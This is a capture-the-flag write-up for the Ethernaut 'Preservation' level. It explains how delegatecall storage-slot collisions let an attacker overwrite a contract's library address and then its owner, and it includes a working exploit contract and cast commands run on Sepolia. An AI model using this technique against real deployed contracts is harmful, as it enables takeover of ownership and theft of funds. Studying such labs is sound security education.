This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

The goal of this level is for you to claim ownership of the instance you are given.

The code of the challenge’s contract is:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender;
    }

    // set the time for timezone 1
    function setFirstTime(uint256 _timeStamp) public {
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }

    // set the time for timezone 2
    function setSecondTime(uint256 _timeStamp) public {
        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }
}

// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint256 storedTime;

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}

This contract uses the delegatecall function to delegate the implementation of the setTime(uint256) function to external contracts. It executes the bytecode stored in the called contract.

When the solidity compiler compiles our code, it does not store variable names. Instead, when it references or uses a variable, it will be using the slot that the variable takes in the storage. For this reason, calling delegatecall may mess up some variables that you didn’t mean to change.

In this case, the delegatecall function is always executed on a LibraryContract, whose setTime function modifies the variable in the slot 0 (storedTime). Therefore, the challenge’s slot 0 will also be modified. In this case, the variable timeZone1Library. Therefore, calling setSecondTime in the challenge contract, we can arbitrarily modify the variable timeZone1Library. Let’s verify that:

cast storage 0x4111517ea2226a2688dC8B68e05F00403e0625fF 0 --rpc-url $SEPOLIA_RPC_URL

alt text

cast send 0x4111517ea2226a2688dC8B68e05F00403e0625fF "setSecondTime(uint256)" 0x1337 --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL

alt text

Great! Now, as we control timeZone1Library, we can control what the setFirstTime function does, because we can control that implementation. As a PoC, we can use this contract:

contract Exploit {
    address public slot0;
    address public slot1;
    address public slot2;
    function setTime(uint256 _time) public {
        address player = 0x12c5Da011f95E229Ba45f732e8f79608444D76b9;
        slot2 = player;
    }
}

Following the same logic as before, we can modify the variable owner, which hold the slot 2. Now, we deploy the contract:

alt text

And set the timeZone1Library variable to the exploit contract address:

cast send 0x4111517ea2226a2688dC8B68e05F00403e0625fF "setSecondTime(uint256)" 0x505060A6ff255e411392dA81bff7965Dcca625Fc --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL

Now, call the setFirstTime function, which will call our malicious setTime function, that changes the owner:

cast send 0x4111517ea2226a2688dC8B68e05F00403e0625fF "setFirstTime(uint256)" 0xdead --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL

We can verify now the owner variable and verify that it is my address:

cast storage 0x4111517ea2226a2688dC8B68e05F00403e0625fF 2 --rpc-url $SEPOLIA_RPC_URL

alt text

alt text